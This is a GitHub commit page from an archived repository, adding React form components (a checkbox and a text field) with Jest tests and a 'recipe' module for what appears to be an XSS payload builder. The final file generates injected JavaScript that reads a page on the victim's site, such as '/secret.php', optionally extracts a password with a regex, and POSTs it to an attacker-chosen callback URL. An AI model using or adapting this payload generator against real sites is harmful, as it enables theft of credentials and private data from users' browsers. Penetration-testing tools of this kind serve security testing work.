This repository has been archived by the owner on Oct 22, 2020. It is now read-only.
Commit
This commit does not belong to any branch on this repository, and may belong to a fork outside of the repository.
- Loading branch information
Showing
13 changed files
with
583 additions
and
1 deletion.
There are no files selected for viewing
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
Original file line number | Diff line number | Diff line change |
---|---|---|
@@ -0,0 +1,38 @@ | ||
import React from 'react' | ||
|
||
class RecipeCheckBox extends React.Component { | ||
constructor (props) { | ||
super(props) | ||
|
||
this.setRecipeProperty = this.setRecipeProperty.bind(this) | ||
} | ||
|
||
setRecipeProperty (e) { | ||
this.props.setRecipeProperty( | ||
this.props.instance.id, | ||
this.props.bindTo, | ||
e.target.checked | ||
) | ||
} | ||
|
||
render () { | ||
const inputId = `${this.props.instance.id}-${this.props.bindTo}` | ||
return ( | ||
<div className="float-left mr-3 form-group form-check"> | ||
<input id={`${inputId}`} | ||
type="checkbox" | ||
checked={this.props.instance[this.props.bindTo]} | ||
className="form-check-input" | ||
onChange={this.setRecipeProperty} | ||
/> | ||
<label | ||
className="form-check-label" | ||
htmlFor={`${inputId}`}> | ||
{this.props.label} | ||
</label> | ||
</div> | ||
) | ||
} | ||
} | ||
|
||
export default RecipeCheckBox |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
Original file line number | Diff line number | Diff line change |
---|---|---|
@@ -0,0 +1,77 @@ | ||
import React from 'react' | ||
import RecipeCheckBox from './RecipeCheckBox' | ||
import { shallow } from 'enzyme' | ||
|
||
describe('<RecipeCheckBox />', () => { | ||
const setRecipeProperty = jest.fn() | ||
const instance = { | ||
id: 'instance_id', | ||
dummy: true | ||
} | ||
|
||
const createWrapper = () => { | ||
setRecipeProperty.mockReset() | ||
|
||
return shallow( | ||
<RecipeCheckBox | ||
instance={instance} | ||
bindTo="dummy" | ||
label="Dummy Label" | ||
setRecipeProperty={setRecipeProperty} | ||
/> | ||
) | ||
} | ||
|
||
it('should not render children', () => { | ||
const wrapper = shallow( | ||
<RecipeCheckBox instance={{}}> | ||
<div className="test"></div> | ||
</RecipeCheckBox> | ||
) | ||
|
||
expect(wrapper.find('div.test')).toHaveLength(0) | ||
}) | ||
|
||
it('should render a check box field bound to the specified property', () => { | ||
const wrapper = createWrapper() | ||
const field = wrapper.find('input[type="checkbox"]') | ||
expect(field).toHaveLength(1) | ||
expect(field.props().checked).toBe(true) | ||
}) | ||
|
||
it('should create a unique ID for the field', () => { | ||
const wrapper = createWrapper() | ||
const field = wrapper.find('input[type="checkbox"]') | ||
expect(field).toHaveLength(1) | ||
expect(field.props().id).toBe('instance_id-dummy') | ||
}) | ||
|
||
it('should render a label for the field', () => { | ||
const wrapper = createWrapper() | ||
const field = wrapper.find('input[type="checkbox"]') | ||
const label = wrapper.find('label') | ||
|
||
expect(label).toHaveLength(1) | ||
expect(label.props().htmlFor).toBe(field.props().id) | ||
expect(label.text()).toBe('Dummy Label') | ||
}) | ||
|
||
describe('when the input is changed', () => { | ||
it('should invoke `props.setRecipeProperty`', () => { | ||
const wrapper = createWrapper() | ||
const field = wrapper.find('input[type="checkbox"]') | ||
|
||
field.simulate('change', { | ||
target: { | ||
checked: true | ||
} | ||
}) | ||
|
||
expect(setRecipeProperty).toHaveBeenCalledWith( | ||
'instance_id', | ||
'dummy', | ||
true | ||
) | ||
}) | ||
}) | ||
}) |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
Original file line number | Diff line number | Diff line change |
---|---|---|
@@ -0,0 +1,2 @@ | ||
import RecipeCheckBox from './RecipeCheckBox' | ||
export default RecipeCheckBox |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
Original file line number | Diff line number | Diff line change |
---|---|---|
@@ -0,0 +1,6 @@ | ||
import DefaultExport from './' | ||
import RecipeCheckBox from './RecipeCheckBox' | ||
|
||
it('should export the RecipeCheckBox class as the default export', () => { | ||
expect(DefaultExport).toBe(RecipeCheckBox) | ||
}) |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
Original file line number | Diff line number | Diff line change |
---|---|---|
@@ -0,0 +1,35 @@ | ||
import React from 'react' | ||
|
||
class RecipeTextField extends React.Component { | ||
constructor (props) { | ||
super(props) | ||
|
||
this.setRecipeProperty = this.setRecipeProperty.bind(this) | ||
} | ||
|
||
setRecipeProperty (e) { | ||
this.props.setRecipeProperty( | ||
this.props.instance.id, | ||
this.props.bindTo, | ||
e.target.value | ||
) | ||
} | ||
|
||
render () { | ||
const inputId = `${this.props.instance.id}-${this.props.bindTo}` | ||
return ( | ||
<div className="form-group"> | ||
<label htmlFor={`${inputId}`}>{this.props.label}</label> | ||
<input id={`${inputId}`} | ||
type="text" | ||
className="form-control" | ||
placeholder={this.props.placeholder} | ||
value={this.props.instance[this.props.bindTo]} | ||
onChange={this.setRecipeProperty} | ||
/> | ||
</div> | ||
) | ||
} | ||
} | ||
|
||
export default RecipeTextField |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
Original file line number | Diff line number | Diff line change |
---|---|---|
@@ -0,0 +1,85 @@ | ||
import React from 'react' | ||
import RecipeTextField from './RecipeTextField' | ||
import { shallow } from 'enzyme' | ||
|
||
describe('<RecipeTextField />', () => { | ||
const setRecipeProperty = jest.fn() | ||
const instance = { | ||
id: 'instance_id', | ||
dummy: 'test' | ||
} | ||
|
||
const createWrapper = () => { | ||
setRecipeProperty.mockReset() | ||
|
||
return shallow( | ||
<RecipeTextField | ||
instance={instance} | ||
bindTo="dummy" | ||
label="Dummy Label" | ||
placeholder="Dummy Placeholder" | ||
setRecipeProperty={setRecipeProperty} | ||
/> | ||
) | ||
} | ||
|
||
it('should not render children', () => { | ||
const wrapper = shallow( | ||
<RecipeTextField instance={{}}> | ||
<div className="test"></div> | ||
</RecipeTextField> | ||
) | ||
|
||
expect(wrapper.find('div.test')).toHaveLength(0) | ||
}) | ||
|
||
it('should render a text field bound to the specified property', () => { | ||
const wrapper = createWrapper() | ||
const textField = wrapper.find('input[type="text"]') | ||
expect(textField).toHaveLength(1) | ||
expect(textField.props().value).toBe('test') | ||
}) | ||
|
||
it('should set the placeholder of the text field', () => { | ||
const wrapper = createWrapper() | ||
const textField = wrapper.find('input[type="text"]') | ||
expect(textField).toHaveLength(1) | ||
expect(textField.props().placeholder).toBe('Dummy Placeholder') | ||
}) | ||
|
||
it('should create a unique ID for the text field', () => { | ||
const wrapper = createWrapper() | ||
const textField = wrapper.find('input[type="text"]') | ||
expect(textField).toHaveLength(1) | ||
expect(textField.props().id).toBe('instance_id-dummy') | ||
}) | ||
|
||
it('should render a label for the text field', () => { | ||
const wrapper = createWrapper() | ||
const textField = wrapper.find('input[type="text"]') | ||
const label = wrapper.find('label') | ||
|
||
expect(label).toHaveLength(1) | ||
expect(label.props().htmlFor).toBe(textField.props().id) | ||
expect(label.text()).toBe('Dummy Label') | ||
}) | ||
|
||
describe('when the input is changed', () => { | ||
it('should invoke `props.setRecipeProperty`', () => { | ||
const wrapper = createWrapper() | ||
const textField = wrapper.find('input[type="text"]') | ||
|
||
textField.simulate('change', { | ||
target: { | ||
value: 'new value' | ||
} | ||
}) | ||
|
||
expect(setRecipeProperty).toHaveBeenCalledWith( | ||
'instance_id', | ||
'dummy', | ||
'new value' | ||
) | ||
}) | ||
}) | ||
}) |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
Original file line number | Diff line number | Diff line change |
---|---|---|
@@ -0,0 +1,2 @@ | ||
import RecipeTextField from './RecipeTextField' | ||
export default RecipeTextField |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
Original file line number | Diff line number | Diff line change |
---|---|---|
@@ -0,0 +1,6 @@ | ||
import DefaultExport from './' | ||
import RecipeTextField from './RecipeTextField' | ||
|
||
it('should export the RecipeTextField class as the default export', () => { | ||
expect(DefaultExport).toBe(RecipeTextField) | ||
}) |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
Original file line number | Diff line number | Diff line change |
---|---|---|
@@ -0,0 +1,88 @@ | ||
import React from 'react' | ||
import RecipeTextField from '~/components/RecipeTextField' | ||
import RecipeCheckBox from '~/components/RecipeCheckBox' | ||
|
||
export function cook (instance, vars) { | ||
const callbackName = `${instance.id}_cb` | ||
const dataName = `${instance.id}_data` | ||
|
||
let dataSelection = `var ${dataName} = xhr.response` | ||
if (instance.pattern) { | ||
dataSelection = `var ${dataName} = xhr.response.match(new RegExp('${instance.pattern.replace(/'/g, "\\'")}'))[0]` | ||
} | ||
|
||
let callbackBody = `var ${callbackName} = function () { }` | ||
if (instance.waitForResponse) { | ||
callbackBody = `var ${callbackName} = function () { __XSS_CHEF_ENTRY_POINT__ }` | ||
} | ||
|
||
const payload = [ | ||
`ajaxRequest('GET', '${instance.resource}', undefined, function (xhr) {`, | ||
dataSelection, | ||
callbackBody, | ||
`ajaxRequest('POST', '${instance.callbackUrl}', 'data=' + encodeURIComponent(${dataName}), ${callbackName})`, | ||
`})`, | ||
instance.waitForResponse ? '' : '__XSS_CHEF_ENTRY_POINT__' | ||
].join('\n') | ||
|
||
return { | ||
payload: vars.payload.replace(/__XSS_CHEF_ENTRY_POINT__/g, payload) | ||
} | ||
} | ||
|
||
export function init () { | ||
return { | ||
callbackUrl: '', | ||
resource: '', | ||
waitForResponse: true | ||
} | ||
} | ||
|
||
export function render (instance, setRecipeProperty) { | ||
return ( | ||
<div> | ||
<RecipeTextField | ||
bindTo="resource" | ||
instance={instance} | ||
label="Resource" | ||
placeholder="Example: /secret.php" | ||
setRecipeProperty={setRecipeProperty} | ||
/> | ||
|
||
<RecipeTextField | ||
bindTo="pattern" | ||
instance={instance} | ||
label="Pattern to Match" | ||
placeholder='Example: password="[a-zA-z0-9]+?"' | ||
setRecipeProperty={setRecipeProperty} | ||
/> | ||
|
||
<RecipeTextField | ||
bindTo="callbackUrl" | ||
instance={instance} | ||
label="Callback URL" | ||
placeholder="Example: http://your.domain.com/logData" | ||
setRecipeProperty={setRecipeProperty} | ||
/> | ||
|
||
<RecipeCheckBox | ||
bindTo="waitForResponse" | ||
instance={instance} | ||
label="Halt next operation until response is received" | ||
setRecipeProperty={setRecipeProperty} | ||
/> | ||
</div> | ||
) | ||
} | ||
|
||
export function validate (instance) { | ||
if (instance.callbackUrl === '') { | ||
return false | ||
} | ||
|
||
if (instance.resource === '') { | ||
return false | ||
} | ||
|
||
return true | ||
} |
Oops, something went wrong.